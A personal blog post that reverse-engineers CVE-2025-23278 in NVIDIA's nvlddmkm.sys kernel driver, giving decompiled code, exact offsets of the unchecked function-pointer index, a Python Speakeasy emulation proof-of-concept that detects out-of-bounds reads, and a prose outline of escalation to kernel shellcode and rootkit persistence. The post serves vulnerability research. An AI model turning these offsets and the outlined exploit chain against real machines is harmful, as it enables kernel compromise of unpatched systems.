An In-Depth Journey into NVIDIA Kernel Driver Exploitation
(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)
On July 24, 2025, NVIDIA published a security bulletin that immediately caught my attention. It detailed several new vulnerabilities, but two, in particular, stood out as a fascinating side-project for honing my reverse engineering and vulnerability analysis skills:
CVE | Component | Type | Severity |
---|---|---|---|
CVE‑2025‑23276 | NVInstaller.exe |
Installer Privilege Escalation | 7.8 (High) |
CVE‑2025‑23278 | nvlddmkm.sys |
Invalid Index Access (Kernel) | 7.1 (High) |
While installer vulnerabilities are a rich field, my focus was drawn to the kernel. CVE-2025-23278 was described as an “improper index validation” that could lead to “data tampering or denial of service.” This is often a sign of a memory corruption bug, which can be a gateway to full system compromise.
This post will document my journey dissecting CVE-2025-23278. We’ll go from a vague security advisory to a working proof-of-concept, exploring the hurdles, and the crucial differences between a failed and a successful exploit.
The Toolkit
For this investigation, I relied on a few key tools:
Ghidra: Reverse engineering suite.
Speakeasy: A Windows kernel and user-mode emulator from
Mandiant, perfect for dynamic analysis without risking a real system.(I
would love to see the BSOD, but unfortunately I have no spare machines
for fooling around :( )
UniExtract2: For unpacking
the NVIDIA installer to get to the driver files within, since I could
not natively install the drivers.
Phase 1: The Setup - Acquiring the Target
The advisory stated that driver versions in the R575 branch prior to 577.00 were affected. The first step was to find and download a vulnerable driver. I settled on NVIDIA GeForce Graphics Driver 576.88 WHQL, released on July 1, 2025.
Driver Details:
File:576.88-desktop-win10-win11-64bit-international-dch-whql.exe
Size: 829.0 MB
SHA256:6151095ea7299ed4569649c2a04ff7f78659a40bd95d933d0ee063c8a2c2986a
Since I don’t have a spare physical machine with an NVIDIA GPU (and
GPU passthrough to a VM will not work, as my host is patched), my plan
was to extract the kernel driver and analyze it statically and
dynamically through emulation. Using UniExtract2, I unpacked the
installer and located the core kernel driver:
nvlddmkm.sys
.
Phase 2: Reverse Engineering with Ghidra
With the target binary in hand, I loaded nvlddmkm.sys
into Ghidra. The initial analysis revealed a massive binary with over
10,000 functions and no public symbols (PDB file), as expected. This is
where the real work begins.
Finding the Entry Point
My first goal was to find the driver’s main entry point,
DriverEntry
. In Ghidra’s “Symbol Tree,” under “Exports,” I
didn’t find a function named DriverEntry
. Instead, there
was a single, simple export named entry
.
// Ghidra's decompilation of the exported 'entry' function
void entry(undefined8 param_1, undefined8 param_2) {
();
__security_init_cookie(param_1, param_2); // The real initialization function
FUN_146c3c0b0return;
}
This is a common pattern where the exported function is just a
wrapper. The real logic was inside FUN_146c3c0b0
.
Locating the IOCTL Dispatcher
In Windows driver development, the DriverEntry
function
is responsible for setting up handlers for different types of I/O
Request Packets (IRPs). The most interesting one for us is
IRP_MJ_DEVICE_CONTROL
, which handles IOCTLs sent from
user-mode applications.
Inside the real DriverEntry
function
(FUN_146c3c0b0
), I searched for assignments to the
MajorFunction
array of the DRIVER_OBJECT
structure. I found a block of code that set the same function pointer
for all major IRP types.
// Simplified decompilation from Ghidra
// param_1 is the DRIVER_OBJECT
= (undefined8 *)(param_1 + 0x70); // MajorFunction array starts at offset 0x70
puVar17
// Set the dispatch handlers
*puVar17 = FUN_1419887a0; // IRP_MJ_CREATE
*(code **)(param_1 + 0x78) = FUN_1419887a0; // IRP_MJ_CLOSE
*(code **)(param_1 + 0x80) = FUN_1419887a0; // IRP_MJ_READ
// ... and so on, including IRP_MJ_DEVICE_CONTROL ...
This was a significant finding:
a single, massive function,
FUN_1419887a0
, handles almost
all communication from user-mode. This function was my prime
suspect.
Uncovering the Vulnerability
Navigating to FUN_1419887a0
, I found the code that
processes incoming IOCTLs. The logic was complex, but one path
immediately stood out.
// Vulnerable dispatch function at 0x1419887a0
(longlong param_1, longlong param_2)
undefined8 FUN_1419887a0{
int iVar1;
*pbVar2; // This will point to our user-controlled input buffer
byte ;
undefined8 uVar3
// 1. Get the input buffer from the IRP (param_2) at offset 0xb8
= *(byte **)(param_2 + 0xb8);
pbVar2
if (pbVar2 == (byte *)0x0) {
(); // Error handling
FUN_140dbf7d0}
// 2. Get a type value from the Device Object (param_1) at offset 0x48
= *(int *)(param_1 + 0x48);
iVar1 ------
if (iVar1 == 0x4a6e) { // ... some checks for specific device types ... I assume
if (DAT_1412503bd != '\0') {
= FUN_141987f50(param_1,param_2);
uVar3 return uVar3;
}
}
else {
if (iVar1 == 0x90de) {
// A vulnerable path
= (**(code **)(&DAT_141287dc0 + (ulonglong)*pbVar2 * 8))(param_1,param_2);
uVar3 return uVar3;
}
// 3. THE VULNERABLE DEFAULT PATH!
// It takes the first byte of our input buffer (*pbVar2)...
// ...multiplies it by 8...
// ...adds it to a base address (0x141287ce0)...
// ...and CALLS the address it finds there!
if (iVar1 != 0xa033) {
if (iVar1 != 0xa0de) {
= (*(code *)(&PTR_141287ce0)[*pbVar2])(param_1);
uVar3 return uVar3;
}
= FUN_1418fcb50(param_1,param_2);
uVar3 return uVar3;
}
}
return 0xc0000002;
}
This is the vulnerability in plain sight. There is absolutely
no check to ensure the value of *pbVar2
is within a valid
range. An attacker can provide any byte value from 0 to 255.
This value is used as an index into a function pointer table located at
0x141287ce0
.
Analyzing the Function Table
My next step was to see how large this function table actually was. I
navigated to 0x141287ce0
.
Hurdle: Ghidra had misinterpreted this data region
as code, showing a mess of ADD
instructions.
Solution: 1. Go to the address 141287ce0
.
2. Select the memory range and press C
(or right-click
-> “Clear Code Bytes”). 3. Right-click the start of the range and
select Data -> pointer
. Ghidra correctly identified a
series of 8-byte pointers.
Here’s what the table looked like after correction:
Address | Points To | Index |
---|---|---|
0x141287ce0 |
FUN_... |
0 |
0x141287ce8 |
FUN_... |
1 |
0x141287cf0 |
FUN_... |
2 |
0x141287cf8 |
FUN_... |
3 |
0x141287d00 |
FUN_... |
4 |
0x141287d08 |
DAT_... |
5 (End of table) |
The table only has 5 valid entries (indices 0-4). Any index of 5 or greater will cause the driver to read a “function pointer” from memory outside of this table and attempt to execute it. This is a classic out-of-bounds read leading to a controlled-call vulnerability.
Phase 3: The Proof - Emulation with Speakeasy
Static analysis is great, but proving the vulnerability requires
dynamic execution. This is where Speakeasy comes in. But before I begin
with this section i wanted to express my opinion and to make some
warnings about using Speakeasy to emulate drivers. Emulating this large
and complex drivers is ABSOLUTE HELL. In my case I had to use Speakeasy
as a python library, because I had to establish memory hooks and much
more, thus the CLI of Speakeasy was of no use, and loading this massive
driver(111MB) takes an ENOURMOUS amount of time. Disabling the
production of Memory Dumps and Strings Extractions did sped up the whole
process, but oftentimes doing this, meant to use custom
config.json
(for Speakeasy) when running the exploit, which
was pretty unstable. The emulations from start to finish took 1h to 2h.
Yes, this makes future testings and validations of POCs and exploits for
such cases with complex drivers almost impractical. I am still looking
for ways to circumvent this issue, but to no avail, so I will be glad,
someone reading this article to share experience and/or suggestions. Use
the Contact Form(for now comments will stay disabled) on this page.
Final words about Speakeasy - honestly great tool for emulation and it would work perfectly with smaller pieces of files. The CLI version of it is also good. This was to be expected from Python tool.
To continue, I wrote two Python scripts to simulate the attack.
Attempt #1:
My first script was simple. It used Speakeasy’s default
configuration, set up the necessary IRP and Device Object structures,
placed a malicious index (255) in the input buffer, and called the
vulnerable function, wrapping it in a try...except
block to
catch a crash.
# minimal.py - Abridged
= speakeasy.Speakeasy()
se = se.load_module(driver_path)
driver # Initialize DriverEntry
se.run_module(driver)
# ... (setup IRP, Device Object, and input buffer with index 255) ...
try:
print("Calling vulnerable dispatch function")
= se.call(dispatch_function, [device_addr, irp_addr])
result print(f"Function returned without exception: {result}")
except Exception as e:
= True
exception_occurred print(f"\n[!!!] EXCEPTION TRIGGERED!")
I ran it, and… nothing.
Calling vulnerable dispatch function...
Function returned without exception: None
...
No exception triggered - check report for details
Why did it fail? This was a crucial learning moment.
An out-of-bounds read doesn’t guarantee a crash. The
calculated address (0x141287ce0 + 255 * 8 = 0x1412884d8
)
was still within the driver’s mapped memory. The CPU happily read 8
bytes of garbage data from that location and tried to call it. Since
that garbage value was likely 0x0000000000000000
or another
non-executable but readable address, the emulator simply returned
None
instead of raising a hardware exception. Although, I
suppose on an actual natively installed driver this would have already
caused the lovely BSOD.
Attempt #2: A More Refined Approach
I needed a more precise way to detect the vulnerability. Instead of waiting for a crash, I needed to watch the memory access itself. Speakeasy’s memory hooking is perfect for this.
The second script, inherits from the Speakeasy
class and
installs a custom memory read hook.
# new.py - The memory hook
def hook_mem_read(self, emu, access, address, size, value, ctx=None):
= self.function_table_base # 0x141287ce0
table_start = table_start + (self.valid_table_size * 8) # 0x141287d08
table_end
# Check if the read is within the valid table
if address >= table_start and address < table_end:
= (address - table_start) // 8
index print(f"Valid table access: index={index}, addr={hex(address)}")
# Check if the read is just outside the table, where we expect it
elif address >= table_end and address < (table_start + (256 * 8)):
= (address - table_start) // 8
index print(f"\n ═══════════════════════════════════════")
print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
print(f" Index: {index} (valid range: 0-4)")
print(f" Address: {hex(address)}")
print(f" Beyond table by: {address - table_end} bytes")
print(f"═════════════════════════════════════════\n")
self.vuln_triggered = True
This time, the script didn’t wait for an exception. It actively
monitored every read operation. When the vulnerable function tried to
read from an address outside the 0x141287ce0
-
0x141287d07
range, my hook would fire.
The result was a resounding success.
======================================================================
[TEST] FIRST OOB INDEX: index=5
======================================================================
OUT-OF-BOUNDS index - will access: 0x141287d08
Beyond table by: 0 bytes
Calling dispatch function at 0x1419887a0
...
═══════════════════════════════════════════════
OUT-OF-BOUNDS TABLE ACCESS DETECTED!
═══════════════════════════════════════════════
Index: 5 (valid range: 0-4)
Address: 0x141287d08
Beyond table by: 0 bytes
═══════════════════════════════════════════════
...
======================================================================
FINAL TEST SUMMARY
======================================================================
Vulnerability triggered: True
Out-of-bounds accesses detected: 3
The hook successfully detected every out-of-bounds read attempt, confirming the vulnerability with precision.
The complete POC:
import speakeasy
import struct
import sys
class NvidiaVulnTester(speakeasy.Speakeasy):
def __init__(self):
super().__init__()
if hasattr(self, 'emu') and hasattr(self.emu, 'profiler'):
self.emu.profiler.strings = {'ansi': set(), 'unicode': set()}
= self.emu.profiler.add_string
original_add_string def noop_add_string(s, stype='ansi'):
return
self.emu.profiler.add_string = noop_add_string
print("String profiler disabled")
else:
print("Profiler not accessible, proceeding anyway")
self.vuln_triggered = False
self.oob_accesses = []
self.function_table_base = 0x141287ce0
self.valid_table_size = 5
self.dispatch_function = 0x1419887a0
def setup_hooks(self):
print("Setting up memory read hook...")
self.emu.add_mem_read_hook(self.hook_mem_read)
print("Memory hooks installed")
def hook_mem_read(self, emu, access, address, size, value, ctx=None):
= self.function_table_base
table_start = table_start + (self.valid_table_size * 8)
table_end
if address >= table_start and address < table_end:
= (address - table_start) // 8
index print(f"Valid table access: index={index}, addr={hex(address)}")
elif address >= table_end and address < (table_start + (256 * 8)):
= (address - table_start) // 8
index print(f"\n═══════════════════════════════════════════════")
print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
print(f"═══════════════════════════════════════════════")
print(f" Index: {index} (valid range: 0-{self.valid_table_size-1})")
print(f" Address: {hex(address)}")
print(f" Beyond table by: {address - table_end} bytes")
print(f"═══════════════════════════════════════════════\n")
self.vuln_triggered = True
self.oob_accesses.append({
'index': index,
'address': address,
'offset': address - table_end
})
def create_ioctl_irp(self, device_type, input_buffer, input_size):
= self.mem_alloc(0x2000, tag='test.irp')
irp_addr = self.mem_alloc(input_size, tag='test.input')
buffer_addr self.mem_write(buffer_addr, input_buffer)
self.mem_write(irp_addr + 0x30, struct.pack('<I', 0))
self.mem_write(irp_addr + 0xb8, struct.pack('<Q', buffer_addr))
print(f"Created IRP at {hex(irp_addr)}")
print(f"Input buffer at {hex(buffer_addr)} (size: {input_size} bytes)")
return irp_addr, buffer_addr
def create_device_object(self, device_type):
= self.mem_alloc(0x1000, tag='test.device')
dev_obj_addr self.mem_write(dev_obj_addr + 0x48, struct.pack('<I', device_type))
print(f"Created DEVICE_OBJECT at {hex(dev_obj_addr)}")
print(f"Device type: {hex(device_type)}")
return dev_obj_addr
def call_dispatch_function(self, dev_obj, irp, index):
print(f"\nCalling dispatch function at {hex(self.dispatch_function)}")
print(f"Parameters: DeviceObject={hex(dev_obj)}, IRP={hex(irp)}")
print(f"Index in buffer: {index}")
try:
= self.call(self.dispatch_function, [dev_obj, irp])
result print(f"Dispatch function returned: {hex(result) if isinstance(result, int) else result}")
return result
except Exception as e:
print(f"Exception during dispatch: {e}")
import traceback
traceback.print_exc()return None
def test_index(self, index, description):
print(f"\n{'='*70}")
print(f"[TEST] {description}: index={index}")
print(f"{'='*70}")
= struct.pack('B', index) + b'\x00' * 31
input_buffer = self.create_ioctl_irp(0x1234, input_buffer, len(input_buffer))
irp, buf_addr = self.create_device_object(0x1234)
dev_obj
= self.function_table_base + (index * 8)
target_addr = index < self.valid_table_size
is_valid
if is_valid:
print(f"VALID index - will access: {hex(target_addr)}")
else:
= (index - self.valid_table_size) * 8
oob_bytes print(f"OUT-OF-BOUNDS index - will access: {hex(target_addr)}")
print(f"Beyond table by: {oob_bytes} bytes")
self.call_dispatch_function(dev_obj, irp, index)
return irp, dev_obj
def run_vulnerability_tests(self, driver_path):
print(f"\n{'#'*70}")
print(f"# CVE-2025-23278 Vulnerability POC")
print(f"# Target: {driver_path}")
print(f"{'#'*70}\n")
print("Loading NVIDIA driver...")
try:
= self.load_module(driver_path)
driver print(f"Driver loaded successfully")
print(f"Base address: {hex(driver.base)}")
print(f"ispatch function at: {hex(self.dispatch_function)}")
except Exception as e:
print(f"Failed to load driver: {e}")
import traceback
traceback.print_exc()return None
print("Installing monitoring hooks...")
self.setup_hooks()
print("Executing DriverEntry to initialize driver...")
try:
self.run_module(driver)
print("DriverEntry executed - function table should be initialized")
except Exception as e:
print(f"DriverEntry failed (may be expected): {e}")
print("\n" + "="*70)
print("PHASE 1: Testing VALID index (baseline)")
print("="*70)
self.test_index(2, "VALID INDEX")
print("\n" + "="*70)
print("PHASE 2: Testing FIRST OUT-OF-BOUNDS index")
print("="*70)
self.test_index(5, "FIRST OOB INDEX")
print("\n" + "="*70)
print("PHASE 3: Testing SIGNIFICANTLY OUT-OF-BOUNDS index")
print("="*70)
self.test_index(10, "SIGNIFICANTLY OOB INDEX")
print("\n" + "="*70)
print("PHASE 4: Testing MAXIMUM OUT-OF-BOUNDS index")
print("="*70)
self.test_index(255, "SMOKED OOB INDEX")
print("\n" + "="*70)
print("FINAL TEST SUMMARY")
print("="*70)
print(f"Vulnerability triggered: {self.vuln_triggered}")
print(f"Out-of-bounds accesses detected: {len(self.oob_accesses)}")
if self.oob_accesses:
print("\nDETECTED OUT-OF-BOUNDS ACCESSES:")
for i, access in enumerate(self.oob_accesses, 1):
print(f"\n Access #{i}:")
print(f" Index: {access['index']}")
print(f" Address: {hex(access['address'])}")
print(f" Beyond table: +{access['offset']} bytes")
else:
print("\n[*] No out-of-bounds accesses detected")
return None
if __name__ == "__main__":
= sys.argv[1]
driver_path
print("""
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-23278 Vulnerability POC ║
║ NVIDIA nvlddmkm.sys - Invalid Array Index Vulnerability ║
║ ACTIVE DISPATCH FUNCTION TESTING ║
║ TFLL37 ║
╚═══════════════════════════════════════════════════════════╝
""")
= NvidiaVulnTester()
tester
tester.run_vulnerability_tests(driver_path)
print("\n+++++++++++++FINISHED+++++++++++++")
Phase 4: Exploitation, Impact, and Real-World Parallels
With the vulnerability confirmed, let’s consider the impact.
Denial of Service (BSOD)
This is the most straightforward outcome. By providing an index that points to an unmapped or non-executable memory page, the driver will attempt to call an invalid address. This results in an immediate kernel panic and a Blue Screen of Death (BSOD), crashing the entire system. Any local user or application could trigger this, making it a high-availability risk.
Data Tampering and Information Disclosure
The vulnerability is an out-of-bounds read. This means an attacker could carefully choose an index to read 8 bytes of data from a known offset in kernel memory. This could leak kernel pointers or other sensitive data, which is a critical step in bypassing security mitigations like Kernel Address Space Layout Randomization (KASLR). While the CVE description mentions “data tampering,” this would typically require an out-of-bounds write. However, a controlled call could be used to invoke a function that modifies data, achieving the same effect indirectly.
Arbitrary Code Execution (ACE)
Achieving full code execution is the goal. The path would look like this:
- Memory Leak: Use the OOB read or another vulnerability to leak kernel addresses and defeat KASLR.
- Control Memory: Find a way to write a controlled value (the address of shellcode) to a predictable location in kernel memory just beyond the function table. This often requires a second vulnerability or a technique like memory spraying.
- Trigger the Call: Send the IOCTL with the crafted index that points to the attacker-controlled memory location.
- Execute Shellcode: The driver reads the attacker-provided address and jumps to it, executing the shellcode with kernel (SYSTEM) privileges.
Malicious programs
CVE-2025-23278 is a local privilege escalation (LPE) flaw(could be), meaning the attacker already needs to have code running on the machine.
However, it could easily be chained with a remote code execution (RCE) vulnerability (e.g., in a browser or network service). Once a malicious program gains initial user-level access, it could use this NVIDIA driver exploit to: 1. Escalate to SYSTEM privileges to disable security software (like EDR or antivirus). 2. Gain deep persistence by installing itself as a rootkit. 3. Cause mass disruption by simply triggering a BSOD on every infected machine.
This is reminiscent of how early exploits for vulnerabilities like BlueKeep (CVE-2019-0708) often just caused a BSOD, and how modern malware uses BYOVD (Bring Your Own Vulnerable Driver) attacks to gain kernel access by abusing legitimate, signed drivers. I kinda want to try looking more into the BYOVD concept and to try to do research sample of BYOVI(Bring Your Own Vulnerable Installer). I understand that bringing an 800MB installer is just funny but, after all this is just for the joke of doing the malw sample.
Conclusion and Future Work
This investigation was a fascinating journey from a one-line
vulnerability description to an emulated proof-of-concept. The key
takeaway was the critical importance of the detection method: a simple
try...except
block is not enough to catch subtle memory
corruption bugs; active monitoring with hooks is essential.
My next steps in this research area will be to:
Analyze CVE-2025-23276 to understand the installer-level attack
surface.(BIG IF)
Explore similar driver architectures from other
vendors like AMD.
More portable and easier malware propagation(PURELY
FOR RESEARCH PURPOSES!)
Malware obfuscation
Regarding the last point of Malware obfuscation, I have a pretty interesting idea(imo) that involves propositional logic complication. I have been spending time researching this and I am aware of the existing solutions to this idea, mine differs a bit(maybe). This is far more challenging and given the spare time I usually have alongside my university, I doubt this project will be realized any time soon.
BYE
TFLL37
P.S. #NAHALm4Life
Disclaimer: This article is provided for educational purposes only. I BEAR NO RESPONSIBLITY OR LIABILITY FOR ANY CONSEQUENCES RESULTING FROM THE USE OR MISUSE OF THE INFORMATION CONTAINED HEREIN.
No comments:
Post a Comment